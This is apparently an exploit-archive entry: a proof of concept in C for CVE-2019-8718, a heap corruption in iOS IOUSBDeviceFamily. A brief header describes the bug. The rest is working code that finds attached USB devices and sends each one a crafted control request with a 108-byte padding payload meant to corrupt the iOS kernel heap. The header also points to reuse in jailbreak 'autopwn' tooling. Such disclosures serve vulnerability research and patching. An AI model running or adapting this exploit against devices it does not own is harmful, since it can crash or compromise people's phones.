iOS IOUSBDeviceFamily 12.4.1 – ‘IOInterruptEventSource’ Heap Corruption (PoC)
# Exploit Title: iOS IOUSBDeviceFamily 12.4.1 - 'IOInterruptEventSource' Heap Corruption (PoC) # Date: 2019-10-29 # Exploit Author: Sem Voigtlander, Joshua Hill and Raz Mashat # Vendor Homepage: https://apple.com/ # Software Link: https://support.apple.com/en-hk/HT210606 # Version: iOS 13 # Tested on: iOS 12.4.1 # CVE : N/A # A vulnerable implementation of IOInterruptEventSource on a workloop exists in IOUSBDeviceFamily. # The code can be triggered by a local attacker by sending a malicious USB control request to device. # It seems the faulting address register is corrupted as result of a heap corruption vulnerability. # However, on earlier iOS versions (tested on 12.0.1) we were able to trigger a use after free in reserved->statistics relating to the same vulnerable code too. # This bug was found through statically analyzing xnu from public source and optimized USB fuzzing. # A proof of concept written in C for macOS is attached, for other platforms python and c code using libusb exists on GitHub (https://github.com/userlandkernel/USBusted) iousbusted.c /* Pure IOKit implementation of CVE-2019-8718 Written by Sem Voigtländer. Compile: clang iousbusted.c -o iousbusted -framework IOKit -framework CoreFoundation Tip: You can also use this for projects like checkm8 autopwn etc. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <mach/mach.h> #include <IOKit/usb/IOUSBLib.h> #include <IOKit/IOCFPlugIn.h> #include <CoreFoundation/CoreFoundation.h> /* Faster comparissions for 64-bit integers than != and == */ #define FCOMP(P1,P2) !(P1 ^ P2) const char *defaultMsg = "HELLO WORLD"; /* Method for sending an USB control message to a target device */ static int send_usb_msg(IOUSBDeviceInterface** dev, int type, int reqno, int val, int idx, const char *msg) { if(!dev){ printf("No device handle given.\n"); return KERN_FAILURE; } if(!msg) msg = defaultMsg; IOUSBDevRequest req; req.bmRequestType = type; req.bRequest = reqno; req.wValue = val; req.wIndex = idx; req.wLength = strlen(msg); req.pData = msg; req.wLenDone = 0; IOReturn rc = KERN_SUCCESS; rc = (*dev)->DeviceRequest(dev, &req); if(rc != KERN_SUCCESS) { return rc; } return KERN_SUCCESS; } static int send_usbusted_pwn_msg(IOUSBDeviceInterface** dev, const char *msg) { if(!dev){ printf("No device handle given.\n"); return KERN_FAILURE; } kern_return_t rc = send_usb_msg(dev, 0|0x80, 0x6, 0x30c, 0x409, msg); if(rc != kIOReturnSuccess) { return rc; } return KERN_SUCCESS; } /* Print information from an IOKit USB device */ static int print_usb_device(io_service_t device){ kern_return_t err = KERN_SUCCESS; CFNumberRef vid = 0; CFNumberRef pid = 0; CFNumberRef locationID = 0; CFMutableDictionaryRef p = NULL; err = IORegistryEntryCreateCFProperties(device, &p, NULL, 0); if(err != KERN_SUCCESS || !p) return err; if(!CFDictionaryGetValueIfPresent(p, CFSTR("idVendor"), &vid)) return KERN_FAILURE; if(!CFDictionaryGetValueIfPresent(p, CFSTR("idProduct"), &pid)) return KERN_FAILURE; CFDictionaryGetValueIfPresent(p, CFSTR("locationID"), &locationID); CFNumberGetValue(vid, kCFNumberSInt32Type, &vid); CFNumberGetValue(pid, kCFNumberSInt32Type, &pid); // <-- yes I know this is dirty, I was tired. if(locationID) CFNumberGetValue(locationID, kCFNumberSInt32Type, &locationID); printf("Got device %#x @ %#x (%#x:%#x)\n", device, locationID, vid, pid); return err; } /* Get a handle for sending to a device */ static int get_usbdevice_handle(io_service_t device, IOUSBDeviceInterface* dev){ kern_return_t err = KERN_SUCCESS; SInt32 score; IOCFPlugInInterface** plugInInterface = NULL; err = IOCreatePlugInInterfaceForService(device, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugInInterface, &score); if (err != KERN_SUCCESS || plugInInterface == NULL) return err; err = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID), (LPVOID*)dev); if(err != kIOReturnSuccess) return err; // Now done with the plugin interface. (*plugInInterface)->Release(plugInInterface); //plugInInterface = NULL; if(!dev) return KERN_FAILURE; return err; } /* Iterate over all USB devices */ static int iterate_usb_devices(const char *msg){ CFMutableDictionaryRef matchingDict; io_iterator_t iter; kern_return_t kr; io_service_t device; /* set up a matching dictionary for the class */ matchingDict = IOServiceMatching(kIOUSBDeviceClassName); if (matchingDict == NULL) { return -1; // fail } /* Now we have a dictionary, get an iterator.*/ kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); if (kr != KERN_SUCCESS) { return -1; } /* iterate */ while ((device = IOIteratorNext(iter))) { /* do something with device, eg. check properties */ kr = print_usb_device(device); if(kr != KERN_SUCCESS){ printf("Skipping device as it has no vid / pid.\n"); continue; } IOUSBDeviceInterface **dev = 0; kr = get_usbdevice_handle(device, &dev); if(kr != KERN_SUCCESS){ printf("Skipping device as no handle for it could be retrieved.\n"); continue; } kr = send_usbusted_pwn_msg(dev, msg); printf("RET: %s\n\n", mach_error_string(kr)); /* And free the reference taken before continuing to the next item */ IOObjectRelease(device); } /* Done, release the iterator */ IOObjectRelease(iter); return 0; } int main(int argc, char *argv[]){ char payload[108]; memset(&payload, 'A', 108); int err = iterate_usb_devices(payload); return err; } |